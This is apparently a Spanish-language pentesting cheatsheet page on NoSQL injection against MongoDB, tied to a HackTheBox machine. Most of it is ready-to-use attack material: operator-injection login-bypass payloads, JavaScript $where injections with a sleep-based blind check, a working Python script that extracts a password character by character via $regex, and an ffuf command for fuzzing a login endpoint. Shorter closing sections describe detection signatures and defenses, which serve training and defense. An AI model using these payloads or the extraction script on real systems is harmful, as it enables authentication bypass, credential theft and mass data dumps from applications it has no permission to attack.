NoSQL Injection
Arsenal completo de comandos en la cheatsheetLa inyección NoSQL es el equivalente, en bases de datos no relacionales (MongoDB, CouchDB…), de la inyección SQL clásica: la aplicación construye una consulta a partir de entrada del usuario sin sanearla, y el atacante manipula la estructura de esa consulta en lugar de proporcionar solo datos. Aunque MongoDB no usa SQL, sigue siendo vulnerable cuando los parámetros llegan tal cual al objeto de consulta. Hay dos familias de payloads: inyección de operadores e inyección de sintaxis JavaScript.
Bypass de autenticación con operadores
MongoDB consulta con operadores como $ne (distinto), $gt (mayor), $regex o $in. Si el campo se interpreta como objeto en vez de como cadena, password[$ne]=1 significa "la contraseña distinta de 1", es decir, cualquiera. El mismo bypass se envía de varias formas según cómo parsee el backend la petición:
# form-urlencoded con notacion de corchetes (Express/PHP lo convierten en objeto)
username[$ne]=x&password[$ne]=x
username[$gt]=&password[$gt]=
# cuerpo JSON (Content-Type: application/json)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
# si se conoce el usuario, forzar solo la password
{"username": "admin", "password": {"$ne": "x"}}
# $in / $regex para acertar el usuario sin conocerlo
{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}
{"username": {"$regex": "^admin"}, "password": {"$ne": "x"}}Inyección de sintaxis JavaScript ($where)
Cuando la consulta acepta una expresión JavaScript ($where, mapReduce), una condición siempre verdadera salta la autenticación igual que el OR 1=1 de SQL, y un sleep permite confirmar a ciegas:
# condicion siempre verdadera (rompiendo una cadena entre comillas)
admin' || '1'=='1
admin' || 1==1//
'; return true; var x='
# inyeccion en un $where con retardo temporal (confirma ejecucion de JS)
{"$where": "sleep(5000)"}
{"username": "admin", "$where": "this.password.length > 8"}Extracción a ciegas con $regex
Si no hay reflejo pero el login responde distinto a verdadero/falso, $regex extrae la contraseña carácter a carácter (primero la longitud con ^.{n}$, luego cada posición):
# la respuesta cambia cuando el patron acierta el siguiente caracter
username=admin&password[$regex]=^a
username=admin&password[$regex]=^ab
username=admin&password[$regex]=^abc
# longitud exacta
username=admin&password[$regex]=^.{8}$import requests, string
url, known = "http://<ip>/login", ""
charset = string.ascii_letters + string.digits + "_@!."
while True:
for c in charset:
r = requests.post(url, json={"username":"admin","password":{"$regex":f"^{known}{c}"}})
if "Dashboard" in r.text: # marcador de login correcto
known += c; print(known); break
else:
breakAutomatización
nosqlmap # asistente interactivo
# o barrido manual de operadores con ffuf sobre el cuerpo JSON
ffuf -u http://<ip>/login -X POST -H 'Content-Type: application/json' \
-d '{"username":"admin","password":{"FUZZ":"x"}}' -w operators.txt -mc 200,302Cómo confirmar el motor. El indicio típico es un cambio de comportamiento frente a los payloads SQL: en lugar de un error de sintaxis SQL, la app puede devolver un 400, un 500 o un timeout (504) cuando el operador rompe la consulta, y comportarse distinto con [$ne] que con un valor normal. Eso apunta a un motor NoSQL y orienta el ajuste de los payloads.
Impacto. Más allá del bypass de login, si el mismo patrón vulnerable está en un buscador o un listado, una condición siempre verdadera hace que la consulta devuelva todos los documentos de la colección, no solo el buscado: un volcado masivo de datos (usuarios, hashes, tokens).
Cómo detectarlo. En la web/WAF, la firma es un parámetro con operadores de consulta ([$ne], [$gt], [$regex], [$where], [$in]) o un cuerpo JSON donde un campo que debería ser cadena llega como objeto anidado ({"password":{"$gt":""}}), algo que ningún cliente legítimo envía. Un ataque a ciegas con $regex deja un rastro muy visible: cientos de peticiones de login que solo difieren en un carácter del patrón (^a, ^ab, ^abc...), un patrón de fuerza bruta evidente en el log de acceso. En la base de datos, el profiler de MongoDB registra consultas con $where/$regex inesperadas o que devuelven la colección entera.
Defensa. Validar y tipar la entrada (que un campo que debe ser una cadena no se interprete como objeto/operador), usar consultas parametrizadas del driver, deshabilitar la evaluación de JavaScript del servidor ($where, mapReduce) y aplicar mínimo privilegio en la cuenta de la base de datos. Relacionado con la recuperación de hashes que suele seguir a un volcado y con la reutilización de credenciales obtenidas.
Máquinas donde se aplica
- ShoppyHackTheBox